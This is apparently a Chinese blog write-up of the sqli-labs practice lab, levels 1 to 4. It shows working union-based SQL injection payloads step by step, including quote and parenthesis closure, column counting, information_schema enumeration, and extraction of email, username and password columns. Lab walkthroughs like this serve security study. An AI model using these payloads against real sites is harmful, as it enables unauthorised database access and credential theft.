Less-1  (报错注入)

因为第一次做这些题,不太了解,所以$sql下加上echo "$sql<br>";能更明显的看出具体的输入

1.判断是否存在注入点

当输入?id=1时结果如下

当输入?id=1’ and 1=1--+时回显正确

当输入?id=1’发生报错,存在注入点

2.判断字段数

经尝试得到字段数为3,?id=1’ order by 3--+

通过?id=’union select 1,2,3 --+判断回显的具体字段位(使用union函数时需要左边的sql语句执行错误,即空集)

3.根据函数查当前数据库,当前用户等

具体函数:

Version()  返回当前数据库的版本信息 || 查看数据库版本

User()   返回当前用户 || 查看当前用户

Database() 返回当前数据库名 || 查看使用的数据库

Group_concat()将查询结果连接成字符串 || 一次性获取数据库信息

Limit()    limit子句来分批获取所有数据

4.在爆库、爆表、爆字段名之前需要了解下图

爆表:执行?id=’union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=十六进制的数据库名),3 --+  ,如下图表明security库下面有四个表:emails,referers,uagents,users

爆字段(爆emails):执行?id=’union select 1,(select group_concat(column_name) from information_schema.columns   where table_name=emails的十六进制数),3 --+,如下图表明emails表下有两个字段(列):id,email_id

获取数据(爆email_id):执行?id=’union select 1,(select group_concat(email_id) from emails),3 --+,如下图得到列email_id下的数据

-------------------------------------------------------END----------------------------------------------------------------

Less-2  (报错注入)

和less-1类似

1.判断是否存在注入点

当输入?id=1时能正确显示,当输入?id=1’时报错,初步判断存在注入点,但是当输入?id=1’and1=1--+时又出现报错,输入?id=1 and 1=1 --+时能正确显示

查看源码后发现id的值并没有被命成字符

2.判断字段数,执行?id=1 order by 3 ,经判断,字段数为3

3.判断回显的具体字段位,执行?id=-1 union select 1,2,3,结果与less-1相同

4.根据函数查当前数据库,当前用户等,执行?id=-1 union select 1,database(),user()

5.爆库,爆表,爆字段

爆表:执行?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3,得到如下security下有四个表:emails,referers,uagents,users

爆字段(爆uagents):执行?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=uagents),3,得到:表uagents下有四列:id,uagent,ip_address,username

获取数据(爆username):执行?id=-1 union select  1,(select group_concat(username) from uagents),3,列username下的数据为空,在MySQL数据库中查看,确实为空

-------------------------------------------------------END----------------------------------------------------------------

Less-3  (报错注入)

同样的第一步

1.判断是否存在注入点

当执行?id=1时,能够正确显示,而当执行?id=1’,出现如下报错,首先判断存在注入点

仔细分析’  ’  1’  ’  )得

SELECT * FROM 表名 WHERE id=(‘$id’) LIMIT 0,1

即:闭合方式除了‘’还有()

2.判断字段数

执行?id=1’) order by 3 --+  经过尝试,字段数为3

3.判断回显的具体字段位

执行?id=-1’) union select 1,2,3 --+

4.查看当前数据库名,当前用户等

执行?id=-1') union select 1,database(),user() --+

5.爆库,爆表,爆字段

爆表:执行?id=-1’) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security的十六进制数),3 --+,得知:库security下有四个表:emails,referers,uagents,users

爆字段(爆referers):执行?id=-1’) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=referers的十六进制数),3 --+,得知:表referers下有三列:id,referer,ip_address

获取数据(爆id):执行?id=-1’) union select 1,(select group_concat(id) from referers),3 --+,列id下的数据又为空

-------------------------------------------------------END----------------------------------------------------------------

Less-4  (报错注入)

和前三题类似

1.判断是否存在注入点

执行?id=1以及?id=1’回显正确,执行?id=1”时出现报错,首先判断存在注入点

查看报错的提示  ’  “  1  ”  ”  )在色块区域存在闭合导致报错,(在这里不得不提,?id=1”,的那个双引号真的服了,我还以为是两个单引号,半天没有反应....)将闭合后的部位注释掉,即?id=1” --+,发现还是不行,突然想起了第二个色块即,),所以闭合方式为:””  和  (),执行?id=1”) --+

2.判断字段的长度

执行?id=1”) order by 3 --+,经过尝试的到字段数为3

3.判断回显的具体字段位

执行?id=-1”) union select 1,2,3 --+

4.查看当前数据库名,当前用户名等

执行?id=-1”) union select 1,database(),user() --+

5.爆库,爆表,爆字段

爆表:执行?id=-1”) union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=security),3 --+,得到库security下有四个表:emails,referers,uagents,users

爆字段(爆users):执行?id=-1”) union select 1,(select group_concat(column_name) from information_schema.columns where table_name=users),3 --+,得到:表users下有6列:USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS,id,username,password

爆数据(爆password):执行?id=-1”) union select 1,(select group_concat(password) from users),3 --+

-------------------------------------------------------END----------------------------------------------------------------

sqli-labs less-1 --> less-4的更多相关文章

  1. SQLI LABS Basic Part(1-22) WriteUp

    好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...

  2. Sqli labs系列-less-3 。。。

    原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...

  3. Sqli labs系列-less-2 详细篇

    就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...

  4. Sqli labs系列-less-1 详细篇

    要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...

  5. SQL注入系列:SQLi Labs

    前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空 ...

  6. Sqli - Labs 靶场笔记(一)

    Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/ ...

  7. SQLI LABS Challenges Part(54-65) WriteUp

    终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...

  8. SQLI LABS Stacked Part(38-53) WriteUp

    这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union selec ...

  9. SQLI LABS Advanced Part(23-37) WriteUp

    继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...

  10. Sqli labs系列-less-5&6 报错注入法(下)

    我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加 ...

随机推荐

  1. 干货!手把手教你使用数据可视化BI软件创建企业变更流程监控大屏

    灯果数据可视化BI软件是新一代人工智能数据可视化大屏软件,内置丰富的大屏模板,可视化编辑操作,无需任何经验就可以创建属于你自己的大屏.大家可以在他们的官网下载软件.   本文以企业变更流程监控大屏为例 ...

  2. c# 匿名方法(函数) 匿名委托 内置泛型委托 lamada

    匿名方法:通过匿名委托 .lamada表达式定义的函数具体操作并复制给委托类型: 匿名委托:委托的一种简单化声明方式通过delegate关键字声明: 内置泛型委托:系统已经内置的委托类型主要是不带返回 ...

  3. ES6 - 基础学习(6): 对象扩展

    对象对于JavaScript至关重要,在ES6中对象又加了很多新特性. 对象字面量:属性的简洁表示法 ES6允许对象的属性直接写变量,这时候属性名是变量名,属性值是变量值. let attr1 = & ...

  4. 生成JavaDoc文档

    JavaDoc是一种将注释生成HTML文档的技术,生成的HTML文档类似于Java的API,易读且清晰明了.在简略介绍JavaDoc写法之后,再看一下在Intellij Idea 中如何将代码中的注释 ...

  5. Windows应急响应和系统加固(2)——Windows应急响应的命令使用和安全检查分析

    Windows应急响应的命令使用和安全检查分析 1.获取IP地址: ·ipconfig /all,获取Windows主机IP地址信息: ·ipconfig /release,释放网络IP位置: ·ip ...

  6. Hadoop之HDFS扩容方法

    HDFS就是用来存取数据的,那么当数据太多的时候存不下,我们必需扩充硬盘容量,或者换个更大的硬盘. 由于它是分布式文件系统,有两种扩充HDFS集群容量的方法:横向扩容和纵向扩容 横向扩容 横向扩容就是 ...

  7. Android进程调度之adj算法

    copy from : http://gityuan.com/2016/08/07/android-adj/ 一.概述 提到进程调度,可能大家首先想到的是Linux cpu调度算法,进程优先级之类概念 ...

  8. 查找第K大的值

    这种题一般是给定N个数,然后N个数之间通过某种计算得到了新的数列,求这新的数列的第K大的值 POJ3579 题意: 用$N$个数的序列$x[i]$,生成一个新序列$b$. 新的序列定义为:对于任意的$ ...

  9. 使用TableHasPrimaryKey或TableHasForeignKey来知道表是否有主键或外键

    从下面2句SQL语句执行来看, 就知道那一张表有主键PrimaryKey或ForeignKey. 比如,表[Q]和[QQ]既没有主键,也没有外键. 当在SQL语句的条件中,使用“=”,那说明查询出来的 ...

  10. magento2.2.3 根据产品ID获取栏目名称的正确调用方式

    根据product_id 获取 category_ids : /** * @param $product_id * @return array */ public function mc_getCat ...